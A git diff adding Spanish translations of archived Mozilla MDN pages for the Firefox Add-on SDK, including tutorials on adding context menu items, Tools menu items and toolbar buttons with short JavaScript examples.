+ <dt><a href="/en-US/Mozilla/Add-ons/Setting_up_extension_development_environment">Configurando tu entorno</a></dt>
+ <dd>Configurar la aplicación para el desarollo de la extensión.</dd>
+ <dt><a href="/en-US/docs/XUL">XUL</a></dt>
+ <dd>Tutoriales and referencia para el lenguaje de interfaz de usuario utilizadopor las extensiones XUL.</dd>
+ <dt><a href="/en-US/Mozilla/Add-ons/Code_snippets">Trozos de códigos</a></dt>
+ <dd>Código de muestra para muchas de las cosas que querrás hacer.</dd>
+ <dt><a href="/en-US/Mozilla/Add-ons/Installing_extensions">Instalando extensiones</a></dt>
+ <dd>Cómo instalar una extensión copiando los archivos de extensión en un directorio de instalación de la aplicación.</dd>
+ <dt><a href="/en-US/Add-ons/Overlay_extensions/Firefox_addons_developer_guide">Firefox add-ons developer guide</a></dt>
+ <dd>Una guía para desarrollar extensiones de superposición.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules">Módulos de código JavaScript</a></dt>
+ <dd>Módulos JavaScript disponibles para desarrolladores de extensiones.</dd>
+ <dt><a href="/en-US/Mozilla/Add-ons/Inline_Options">Preferencias de una extension</a></dt>
+ <dd>Cómo especificar las preferencias para tu extensión que aparecerá en el administrador de complementos.</dd>
+ <dt><a href="/en-US/Mozilla/Add-ons/Extension_Frequently_Asked_Questions">Preguntas frecuentes</a></dt>
+ <dd>Cuestiones comunes en el desarrollo de una extensión.</dd>
+ <dt><a href="/en-US/Mozilla/Add-ons/Extension_Packaging">Empaquetado de la extensión</a></dt>
+ <dd>Cómo se empaquetan e instalan las extensiones.</dd>
+ <dt><a href="/en-US/Mozilla/Add-ons/Creating_Custom_Firefox_Extensions_with_the_Mozilla_Build_System">Extensiones binarias de Firefox </a></dt>
+ <dd>Crear extensiones binarias para Firefox.</dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/es/mozilla/add-ons/sdk/builder/index.html b/files/es/mozilla/add-ons/sdk/builder/index.html
new file mode 100644
index 0000000000..be566483c0
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/builder/index.html
@@ -0,0 +1,13 @@
+---
+title: Builder
+slug: Mozilla/Add-ons/SDK/Builder
+translation_of: Archive/Add-ons/Add-on_SDK/Builder
+---
+<p>El Builder Add-on fue basado en un ambiente de desarrollo web que permitió a desarrolladores la creación de add-ons usando las APIs de SDK, pero sin tener que usar las herramientas de linea de comando cfx. El cual fue retirado el primero de Abril 2014 y ahora el dominio direccionara a esta pagina "builder.addons.mozilla.org".<br>
+ <br>
+ Sí tu solo has usado el SDK a trabes del Builder, probablemente ya sabes lo que necesitas para el desarrollo con en el SDK. En el <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs">alto nive</a>l y el <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APIs">bajo nivel</a> de las APIs usadas por Builder add-ons son exactamente la misma para el Builder y SDK. Para cambiar al  SDK se necesita:</p>
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Installation">Instalación local del SDK.    </a></li>
+ <li>Conocer  las herramientas de línea de comandos cfx, como la <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Getting_started"> introducción a walkthrough</a> y las <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tools/cfx">referencias detalladas de cfx</a>.</li>
+ <li>Conocer los archivos<a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tools/package_json"> packege.json</a> que se usan para configurar atributos de tus add-on.</li>
+</ul>
diff --git a/files/es/mozilla/add-ons/sdk/index.html b/files/es/mozilla/add-ons/sdk/index.html
new file mode 100644
index 0000000000..6681924d2e
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/index.html
@@ -0,0 +1,84 @@
+---
+title: Add-on SDK
+slug: Mozilla/Add-ons/SDK
+tags:
+  - Add-on SDK
+  - Jetpack
+translation_of: Archive/Add-ons/Add-on_SDK
+---
+<p><span id="result_box" lang="es"><span class="hps">Usando el</span> <span class="hps">Add-on</span> <span class="hps">SDK</span> <span class="hps">puedes crear</span> <span class="hps">complementos de Firefox</span> <span class="hps">utilizando</span> <span class="hps">tecnologías Web estándar</span><span>: JavaScript</span><span>, HTML y</span> <span class="hps">CSS.</span> <span class="hps">El</span> <span class="hps">SDK</span> <span class="hps">incluye una API</span> <span class="hps">de JavaScript</span> <span class="hps">que se puede utilizar</span> <span class="hps">para crear</span> <span class="hps">complementos</span> <span class="hps">y herramientas</span> <span class="hps">para creación,</span> <span class="hps">funcionamiento</span><span>, pruebas y</span> empaquetado de <span class="hps">complementos</span><span>.</span></span></p>
+
+<hr>
+<h3 id="Tutoriales">Tutoriales</h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials#getting-started">Comencemos</a></dt>
+ <dd>Como <a href="/en-US/Add-ons/SDK/Tutorials/Installation">instalar el SDK</a> y <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx">usar el cfx tool</a> para desarrollar, testear y empaquetar complementos.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials#interact-with-the-browser">Interactuar con el browser</a></dt>
+ <dd><a href="/en-US/Add-ons/SDK/Tutorials/Open_a_Web_Page">Abrir paginas web</a>, <a href="/en-US/Add-ons/SDK/Tutorials/Listen_For_Page_Load">"escuchar" la carga de paginas</a>, y <a href="/en-US/Add-ons/SDK/Tutorials/List_Open_Tabs">listar las paginas abiertas</a>.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials#development-techniques">Técnicas de desarrollo</a></dt>
+ <dd>Aprender sobre las técnicas comunes de desarrollo, como las <a href="/en-US/Add-ons/SDK/Tutorials/Unit_testing">pruebas unitarias</a>, <a href="/en-US/Add-ons/SDK/Tutorials/Logging">logueos</a>, <a href="/en-US/Add-ons/SDK/Tutorials/Creating_Reusable_Modules">creacion de modulos reutilizables</a>, <a href="/en-US/Add-ons/SDK/Tutorials/l10n">localizacion</a>, y <a href="/en-US/Add-ons/SDK/Tutorials/Mobile_development">desarrollo para mobile</a>.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials#create-user-interfaces">Creando compenentes para la intefaz de usuario</a></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Crear</span> <span class="hps">componentes de interfaz de</span> <span class="hps">usuario, tales</span> <span class="hps">como </span></span><a href="/en-US/Add-ons/SDK/Tutorials/Adding_a_Button_to_the_Toolbar">botones de barras de herramientas</a>, <a href="/en-US/Add-ons/SDK/Tutorials/Add_a_Context_Menu_Item">menús </a><a href="/en-US/Add-ons/SDK/Tutorials/Add_a_Context_Menu_Item">contextuales</a>, <a href="/en-US/Add-ons/SDK/Tutorials/Add_a_Menu_Item_to_Firefox">elementos de menu</a> y <a href="/en-US/Add-ons/SDK/Tutorials/Display_a_Popup">cuadros de dialogo</a>.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials#modify-web-pages">Modificación de páginas web</a></dt>
+ <dd>Modificar las páginas que <a href="/en-US/Add-ons/SDK/Tutorials/Modifying_Web_Pages_Based_on_URL">coincidan con un patron de URL</a> o dinámicamente <a href="/en-US/Add-ons/SDK/Tutorials/Modifying_the_Page_Hosted_by_a_Tab">modificar una ficha particular</a>.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Annotator">Juntando todo</a></dt>
+ <dd>Tutorial del ejemplo de add-on Annotator.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Guias">Guias</h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Guides#contributors-guide">Guide de cómo </a><a href="/en-US/Add-ons/SDK/Guides#contributors-guide">contribuir </a></dt>
+ <dd>Aprender <a href="/en-US/Add-ons/SDK/Guides/Getting_Started">como empezar a contribuir</a> en la SDK, <span id="result_box" lang="es"><span class="hps">y</span> <span class="hps">sobre</span> <span class="hps">los idiomas</span> <span class="hps">más</span> <span class="hps">importantes que se utilizan</span> <span class="hps">en el código</span> <span class="hps">SDK</span></span>, como los <a href="/en-US/Add-ons/SDK/Guides/Modules">modulos</a>, <a href="/en-US/Add-ons/SDK/Guides/Classes_and_Inheritance">classes y herancias</a>, <a href="/en-US/Add-ons/SDK/Guides/Private_Properties">propiedad privada</a>, y <a href="/en-US/Add-ons/SDK/Guides/Content_Processes">procesos de contenido</a>.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Guides#sdk-infrastructure">SDK infrastructura</a></dt>
+ <dd>Aspectos de la tecnología subyacente de la SDK: <a href="/en-US/Add-ons/SDK/Guides/Module_structure_of_the_SDK">modulos</a>, la <a href="/en-US/Add-ons/SDK/Guides/Program_ID">identificacion del Programa</a>, <span id="result_box" lang="es"><span>y las reglas</span> <span class="hps">que definen</span> <span class="hps">la </span></span> <a href="/en-US/Add-ons/SDK/Guides/Firefox_Compatibility">compatibilidad de </a><a href="/en-US/Add-ons/SDK/Guides/Firefox_Compatibility">Firefox </a>.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Guides/Content_Scripts">Contentido scripts</a></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Una</span> <span class="hps">guía detallada para</span> <span class="hps">trabajar con</span> </span>scripts.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Guides#sdk-idioms">Idiomas </a><a href="/en-US/Add-ons/SDK/Guides#sdk-idioms">SDK </a></dt>
+ <dd>Los <a href="/en-US/Add-ons/SDK/Guides/Working_with_Events">eventos del framework</a> del SDK y las <a href="/en-US/Add-ons/SDK/Guides/Two_Types_of_Scripts">diferenciación entre add-on scripts y scripts de contenido</a>.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Guides/XUL_Migration_Guide">XUL migración</a></dt>
+ <dd>Una guía para<a href="/en-US/Add-ons/SDK/Guides/XUL_Migration_Guide"> incluir add-ons </a><a href="/en-US/Add-ons/SDK/Guides/XUL_Migration_Guide">XUL </a><a href="/en-US/Add-ons/SDK/Guides/XUL_Migration_Guide">al SDK</a>. Esta guia incluye una comparación <a href="/en-US/Add-ons/SDK/Guides/XUL_vs_SDK">de dos conjuntos de herramientas</a> y un <a href="/en-US/Add-ons/SDK/Guides/Porting_the_Library_Detector">ejemplo para trabajar</a> incluyendo un XUL add-on.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Referencias">Referencias</h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/High-Level_APIs">APIs de alto nivel</a></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Documentación de referencia para</span> <span class="hps">las API</span> <span class="hps">del SDK</span> <span class="hps">de alto nivel.</span></span></dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tools">Referencias de h</a><a href="/en-US/Add-ons/SDK/Tools">erramientas</a></dt>
+ <dt><span id="result_box" lang="es"><span class="hps">Documentación de referencia para</span> <span class="hps">la herramienta</span> </span><a href="/en-US/Add-ons/SDK/Tools/cfx">cfx</a> usada para el desarrollo, pruebas, y empaquetado add-ons, la <a href="/en-US/Add-ons/SDK/Tools/console">consola</a> global usada para el registro, el paquete <a href="/en-US/Add-ons/SDK/Tools/package_json">package.json</a>.</dt>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Low-Level_APIs">APIs de bajo nivel</a></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Documentación de referencia para</span> <span class="hps">las API</span> <span class="hps">del SDK</span> <span class="hps">de bajo nivel.</span></span></dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/es/mozilla/add-ons/sdk/tutorials/add_a_context_menu_item/index.html b/files/es/mozilla/add-ons/sdk/tutorials/add_a_context_menu_item/index.html
new file mode 100644
index 0000000000..f493c0ab0e
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/tutorials/add_a_context_menu_item/index.html
@@ -0,0 +1,119 @@
+---
+title: Agregar una opción al Menú Contextual
+slug: Mozilla/Add-ons/SDK/Tutorials/Add_a_Context_Menu_Item
+tags:
+  - Add-on SDK
+  - Firefox
+  - Guide
+translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Add_a_Context_Menu_Item
+---
+<div class="note">
+<p>Para realizar los pasos que se describen a continuación es necesario tener <a href="/en-US/Add-ons/SDK/Tutorials/Installation">instalado el SDK </a>y conocimientos <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx">básico de <code>cfx</code></a>.</p>
+</div>
+
+<p>Para agregar opciones y submenús al menú contextual de Firefox, se usa el módulo <a href="/en-US/Add-ons/SDK/High-Level_APIs/context-menu"><code>context-menu</code></a>.</p>
+
+<p>Aquí se presenta un add-on que agrega una nueva opción al menú contextual. La opción es mostrada en cualquier parte donde sea seleccionado algo en la página. Cuando se hace clic, la selección es enviada al código principal del add-on, el cual simplemente lo registra:</p>
+
+<pre class="brush: js">var contextMenu = require("sdk/context-menu");
+ var menuItem = contextMenu.Item({
+  label: "Log Selection",
+  context: contextMenu.SelectionContext(),
+  contentScript: 'self.on("click", function () {' +
+                 '  var text = window.getSelection().toString();' +
+                 '  self.postMessage(text);' +
+                 '});',
+  onMessage: function (selectionText) {
+    console.log(selectionText);
+  }
+});</pre>
+
+<p>Pruebe lo siguiente: ejecute el add-on, cargue una página web, seleccione algún texto y haga clic derecho sobre el. Debe aparecer una nueva opción:</p>
+
+<p><img src="https://mdn.mozillademos.org/files/6513/context-menu-selection.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>Haga clic en ella, y la selección es <a href="/en-US/Add-ons/SDK/Tutorials/Logging">registrada en la terminal</a>:</p>
+
+<pre>info: elephantine lizard
+</pre>
+
+<h2 id="Detalles">Detalles</h2>
+
+<p>Todo lo que hace este add-on es construir una opción en el menú contextual. No se necesita agregarla: una vez construida la opción, esta es agregada automáticamente en el contexto correcto. En este caso el constructor toma cuatro opciones: <code>label</code>, <code>context</code>, <code>contentScript</code>, y <code>onMessage</code>.</p>
+
+<h3 id="label">label</h3>
+
+<p>El <code>label</code> es simplemente la cadena de caracteres que es mostrada.</p>
+
+<h3 id="context">context</h3>
+
+<p>El <code>context</code> describe las circunstancias en las cuales la opción debe ser mostrada. El módulo <code>context-menu</code>  provee varios contextos simples integrados, incluyendo el <code>SelectionContext()</code>, el cual refiere: muestra la opción cuando algo es seleccionado en la página.</p>
+
+<p>Si estos contextos simples no son suficientes, puede definir contextos más sofisticados usando scripts.</p>
+
+<h3 id="contentScript">contentScript</h3>
+
+<p>Este adjunta un script a la opción. En este caso el script escucha hasta que se hace clic en la opción, luego envía un mensaje al add-on que contiene el texto seleccionado.</p>
+
+<h3 id="onMessage">onMessage</h3>
+
+<p>La propiedad <code>onMessage</code> proporciona una vía para que el código del add-on responda a los mensajes del script integrado a la opción del menú contextual. En este caso solo registra el texto seleccionado.</p>
+
+<p>Por lo tanto:</p>
+
+<ol>
+ <li>El usuario o la usuaria hace clic en la opción</li>
+ <li>se activa el evento <code>click</code> del script de contenido, retorna el texto seleccionado y envía un mensaje al add-on</li>
+ <li>se activa el evento <code>message</code> del add-on, la función responsable en el código del add-on pasa el texto seleccionado, el cual registra</li>
+</ol>
+
+<h2 id="Más_opciones">Más opciones</h2>
+
+<h3 id="Agregar_una_imágen">Agregar una imágen</h3>
+
+<p>Se puede agregar una imagen a la opción del menú contextual con la opción <code>image</code>. Esta es una URL que apunta a un icono de tamaño 16x16 que es mostrado a la izquierda de la opción en el menú contextual. Generalmente se guarda la imagen en el directorio "data" del add-on, y se construye la URL usando <code>self.data.url()</code>:</p>
+
+<pre class="brush: js">var self = require("sdk/self");
+
+var contextMenu = require("sdk/context-menu");
+var menuItem = contextMenu.Item({
+  label: "Log Selection",
+  context: contextMenu.SelectionContext(),
+  contentScript: 'self.on("click", function () {' +
+                 '  var text = window.getSelection().toString();' +
+                 '  self.postMessage(text);' +
+                 '});',
+  image: self.data.url("icon-16.png"),
+  onMessage: function (selectionText) {
+    console.log(selectionText);
+  }
+});</pre>
+
+<h3 id="Agregar_tecla_de_acceso_directo">Agregar tecla de acceso directo</h3>
+
+<div class="geckoVersionNote">
+<p>Nuevo en Firefox 35.</p>
+</div>
+
+<p>Desde Firefox 35 es posible especificar una tecla de acceso directo usando la opción <code>accessKey</code>. Esta debe ser una cadena de un solo carácter. Al presionar la tecla se selecciona la opción cuando el menú contextual esta abierto:</p>
+
+<pre class="brush: js">var contextMenu = require("sdk/context-menu");
+var menuItem = contextMenu.Item({
+  label: "Log Selection",
+  context: contextMenu.SelectionContext(),
+  contentScript: 'self.on("click", function () {' +
+                 '  var text = window.getSelection().toString();' +
+                 '  self.postMessage(text);' +
+                 '});',
+  accessKey: "l",
+  onMessage: function (selectionText) {
+    console.log(selectionText);
+  }
+});
+</pre>
+
+<p> </p>
+
+<h2 id="Conozca_más">Conozca más</h2>
+
+<p>Para conocer más sobre el módulo <code>context-menu</code>, puede ver la <a href="/en-US/Add-ons/SDK/High-Level_APIs/context-menu">referencia de la API</a> <a href="/en-US/Add-ons/SDK/High-Level_APIs/context-menu"><code>context-menu</code></a>.</p>
diff --git a/files/es/mozilla/add-ons/sdk/tutorials/add_a_menu_item_to_firefox/index.html b/files/es/mozilla/add-ons/sdk/tutorials/add_a_menu_item_to_firefox/index.html
new file mode 100644
index 0000000000..f30a388a88
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/tutorials/add_a_menu_item_to_firefox/index.html
@@ -0,0 +1,114 @@
+---
+title: Agregar una opción de Menú en Firefox
+slug: Mozilla/Add-ons/SDK/Tutorials/Add_a_Menu_Item_to_Firefox
+tags:
+  - Add-on SDK
+translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Add_a_Menu_Item_to_Firefox
+---
+<div class="note">
+<p>Para realizar los pasos que se describen a continuación es necesario tener <a href="/en-US/Add-ons/SDK/Tutorials/Installation">instalado el SDK </a>y conocimientos <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx">básico de <code>cfx</code></a>.</p>
+</div>
+
+<div class="note">
+<p>Si esta usando <a href="/en-US/Add-ons/SDK/Tools/jpm">jpm</a> en vez de cfx, el método para usar módulos externos es diferente, y debe leer la <a href="/en-US/Add-ons/SDK/Tutorials/Using_third-party_modules_%28jpm%29">versión jmp</a> en vez de esta guía.</p>
+</div>
+
+<p>El SDK aún no posee una API para agregar nuevas opciones de menú a Firefox. Pero su diseño permite que sus funcionalidades sean ampliadas, por lo tanto cualquiera puede desarrollar y publicar módulos para que sean usados por los desarrolladores de add-on. Afortunadamente, Erik Vold escribió el módulo <a href="https://github.com/mykmelez/menuitems-jplib"><code>menuitems</code></a> que permite agregar opciones al menú.</p>
+
+<p>Este manual cumple con una doble funcionalidad. Describe el método general para usar un módulo externo, de terceras partes en el add-on, y describe como agregar una opción al menú usando el módulo <code>menuitems</code> en particular.</p>
+
+<p>Primero, cree una nuevo add-on. Cree un directorio llamado "clickme" donde desee, ingrese en el directorio recien creado y ejecute <code>cfx init</code>.</p>
+
+<pre>mkdir clickme
+cd clickme
+cfx init
+</pre>
+
+<p>La estructura del directorio sera creada:</p>
+
+<ul>
+ <li>clickme
+  <ul>
+   <li>data</li>
+   <li>lib
+    <ul>
+     <li>main.js</li>
+    </ul>
+   </li>
+   <li>package.json</li>
+   <li>tests
+    <ul>
+     <li>test-main.js</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<div> </div>
+
+<h2 id="Instalar_menuitems">Instalar <code>menuitems</code></h2>
+
+<p>Cree un directorio llamado "packages"<span class="rangySelectionBoundary" id="selectionBoundary_1427561968445_34724913431211335" style="display: none; line-height: 0;"></span> dentro del directorio "clickme". Luego descargue el paquete <code>menuitems</code> package desde <a href="https://github.com/mykmelez/menuitems-jplib/zipball/4d6ae5b410d79cc16c9c76920fbaa8a367e44ca7">https://github.com/mykmelez/menuitems-jplib</a> y extraiga el archivo dentro del directorio "packages" que acaba de crear:</p>
+
+<pre>mkdir packages
+cd packages
+tar -xf ../erikvold-menuitems-jplib-d80630c.zip
+</pre>
+
+<h2 id="Dependencias_del_Módulo">Dependencias del Módulo</h2>
+
+<p>Si los módulos de terceras partes solo dependen de los módulos de SDK, puede usarlos inmediatamente, pero si dependen de otros módulos de terceras partes, debe instalar también esas dependencias.</p>
+
+<p>En el directorio principal del paquete encontrará un archivo llamado "package.json". Abralo y busque una entrada llamada "dependencies". La entrada para el paquete <code>menuitems</code> es:</p>
+
+<pre>"dependencies": ["vold-utils"]
+</pre>
+
+<p>Esto significa que se debe instalar el paquete <code>vold-utils</code>, lo cual puede hacerse descargándolo desde <a href="https://github.com/mykmelez/vold-utils-jplib/zipball/a321447dc5d613df33023165854957c181dc3174">https://github.com/mykmelez/vold-utils-jplib</a> y agregándolo dentro del directorio <code>packages</code> junto a <code>menuitems</code>.</p>
+
+<h2 id="Usar_menuitems">Usar <code>menuitems</code></h2>
+
+<p>La <a href="https://github.com/mykmelez/menuitems-jplib/blob/master/docs/menuitems.md">documentación para el módulo <code>menuitems</code></a> nos dice que creemos una opción del menú usando <code>MenuItem()</code>. De las opciones aceptadas por <code>MenuItem()</code>, usaremos este resumido conjunto:</p>
+
+<ul>
+ <li><code>id</code>: identificador para esta opción de menú</li>
+ <li><code>label</code>: texto que mostrará la opción de menú</li>
+ <li><code>command</code>: función que se ejecutará cuando se seleccione la opción de menú</li>
+ <li><code>menuid</code>: identificador del elemento padre de la opción de menú</li>
+ <li><code>insertbefore</code>: identificador de la opción del menú delante de la cual queremos que aparezca nuestra opción de menú.</li>
+</ul>
+
+<div>
+<div>
+<pre class="brush: js">var menuitem = require("menuitems").Menuitem({
+  id: "clickme",
+  menuid: "menu_ToolsPopup",
+  label: "Click Me!",
+  onCommand: function() {
+    console.log("clicked");
+  },
+  insertbefore: "menu_pageInfo"
+});</pre>
+
+<div> </div>
+</div>
+</div>
+
+<p>Luego, se debe declarar la dependencia en el paquete <code>menuitems</code>. En el archivo <code>package.json</code> del add-on se agrega:</p>
+
+<pre>"dependencies": "menuitems"
+</pre>
+
+<p>Note que debido al <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=663480">bug 663480</a>, si agrega una línea <code>dependencies</code> en <code>package.json</code>, y usa cualquier módulo del SDK, tendrá que declarar la dependencia a ese paquete integrado, como sigue:</p>
+
+<pre>"dependencies": ["menuitems", "addon-sdk"]
+</pre>
+
+<p>Ahora esta todo listo. Ejecute el add-on y verá la nueva opción de menú en el menú <code>Herramientas</code>: seleccionela y verá aparecer en la terminal <code>info: clicked</code>.</p>
+
+<h2 id="Advertencia">Advertencia</h2>
+
+<p>Los módulos de terceras partes son una manera genial de usar funcionalidades que no son proporcionadas directamente por SDK, pero debido a que los módulos de terceras partes usan APIs de bajo nivel pueden no funcionar correctamente en las nuevas versiones de Firefox.</p>
+
+<p> </p>
diff --git a/files/es/mozilla/add-ons/sdk/tutorials/adding_a_button_to_the_toolbar/index.html b/files/es/mozilla/add-ons/sdk/tutorials/adding_a_button_to_the_toolbar/index.html
new file mode 100644
index 0000000000..91bde8e45c
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/tutorials/adding_a_button_to_the_toolbar/index.html
@@ -0,0 +1,85 @@
+---
+title: Agregar un Botón a la Barra de Herramienta
+slug: Mozilla/Add-ons/SDK/Tutorials/Adding_a_Button_to_the_Toolbar
+tags:
+  - Add-on SDK
+translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Adding_a_Button_to_the_Toolbar
+---
+<div class="note">
+<p>Para realizar los pasos que se describen a continuación es necesario tener <a href="/en-US/Add-ons/SDK/Tutorials/Installation">instalado el SDK </a>y conocimientos <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx">básico de <code>cfx</code></a>.</p>
+
+<p>Este manual usa la API <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action">action button</a>, que esta disponible solo para Firefox 29 en adelante.</p>
+</div>
+
+<p>Para agregar un botón a la barra de herramientas, use los módulos <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action">action button</a> o <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_toggle">toggle button</a>.</p>
+
+<p>Cree un nuevo directorio, accese al directorio recien creado, y ejecute <code>cfx init</code>.</p>
+
+<p>Luego guarde estos tres iconos en el directrio "data":</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/7635/icon-16.png" style="height: 16px; width: 16px;"></td>
+   <td>icon-16.png</td>
+  </tr>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/7637/icon-32.png" style="height: 32px; width: 32px;"></td>
+   <td>icon-32.png</td>
+  </tr>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/7639/icon-64.png" style="height: 64px; width: 64px;"></td>
+   <td>icon-64.png</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Luego abra el archivo llamado "main.js" en el directorio "lib" y agregue el siguiente código:</p>
+
+<pre class="brush: js">var buttons = require('sdk/ui/button/action');
+var tabs = require("sdk/tabs");
+
+var button = buttons.ActionButton({
+  id: "mozilla-link",
+  label: "Visit Mozilla",
+  icon: {
+    "16": "./icon-16.png",
+    "32": "./icon-32.png",
+    "64": "./icon-64.png"
+  },
+  onClick: handleClick
+});
+
+function handleClick(state) {
+  tabs.open("https://www.mozilla.org/");
+}</pre>
+
+<p>Ahora ejecute el add-on con <code>cfx run</code>. El botón es agregado a la barra de herramientas en la parte superior de la ventana del navegador:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7641/mozilla-button.png" style="display: block; height: 221px; margin-left: auto; margin-right: auto; width: 382px;">Puede fijar la localización inicial del botón, pero el usuario puede moverlo usando la función para personalizar del navegador. El atributo <code>id</code> es obligatorio, y es usado para recordar la posición del botón, por lo tanto no debería cambiarse en las versiones siguientes del add-on.</p>
+
+<p>Hacer clic en el botón cargará la página <a href="https://www.mozilla.org/en-US/">https://www.mozilla.org/</a> en una nueva pestaña.</p>
+
+<h2 id="Especificar_el_icono">Especificar el icono</h2>
+
+<p>La propiedad del icono puede especificar un solo icono o una colección de iconos de diferentes tamaños, como en el ejemplo anterior. Si se especifica una colección de iconos de diferentes tamaños el navegador automáticamente seleccionará el que mejor se ajuste a la resolución de pantalla y el lugar en la IU del navegador que alberga el botón. <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action#ActionButton(options)">Lea mas sobre especificar múltiples iconos.</a></p>
+
+<p>El archivo del icono debe ser empacado con el add-on: no debe referenciar a una archivo remoto.</p>
+
+<p>Puede cambiar el icono en cualquier momento estableciendo la propiedad del <code>icono</code> del botón. Puede cambiar el icono, y otros atributos de estado, incluso globalmente, para una ventana o pestaña específica. <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action#Updating_state">Lea mas sobre la actualización de estado.</a></p>
+
+<h2 id="Fijando_un_panel">Fijando un panel</h2>
+
+<p>Si necesita fijar un panel a un botón, use la API<a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_toggle"> toggle button</a>. Esta es similar a la API action button pero agrega la propiedad booleana <code>checked</code> cuyo estado cambia cuando el botón es seleccionado. Para fijar el panel, pase el botón al método <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/panel#show(options)"><code>show()</code></a> del panel. Para más detalles sobre esto, vea la <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_toggle#Attaching_panels_to_buttons">documentación de toggle button</a>.</p>
+
+<h2 id="Mostrar_contenido_mas_sofisticado">Mostrar contenido mas sofisticado</h2>
+
+<p>Para crear interfaces de usuario más complejas de las que son posibles con solo un botón, use la AIP <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_toolbar">toolbar</a>. Con la API toolbar obtiene una franja horizontal completa de la interfaz de usuario. Puede agregar botones a la barra de herramientas y también <a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_frame">marcos</a>, que pueden contener HTML, CSS, y JavaScript.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<ul>
+ <li><a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action">manual de referencia de action button</a></li>
+ <li><a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_toggle">manual de referencia de toggle button</a></li>
+ <li><a href="/en-US/Add-ons/SDK/Low-Level_APIs/ui_toolbar">manual referencia  de toolbar</a></li>
+</ul>
diff --git a/files/es/mozilla/add-ons/sdk/tutorials/display_a_popup/index.html b/files/es/mozilla/add-ons/sdk/tutorials/display_a_popup/index.html
new file mode 100644
index 0000000000..8a65788a64
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/tutorials/display_a_popup/index.html
@@ -0,0 +1,164 @@
+---
+title: Mostrar una ventana emergente
+slug: Mozilla/Add-ons/SDK/Tutorials/Display_a_Popup
+tags:
+  - Add-on SDK
+translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Display_a_Popup
+---
+<div class="note">
+<p>Para realizar los pasos que se describen a continuación es necesario tener <a href="/en-US/Add-ons/SDK/Tutorials/Installation">instalado el SDK </a>y conocimientos <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx">básico de <code>cfx</code></a>.</p>
+
+<p>Esta guía usa la API <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action">action button</a>, la cual esta solo disponible para Firefox 29 en adelante.</p>
+</div>
+
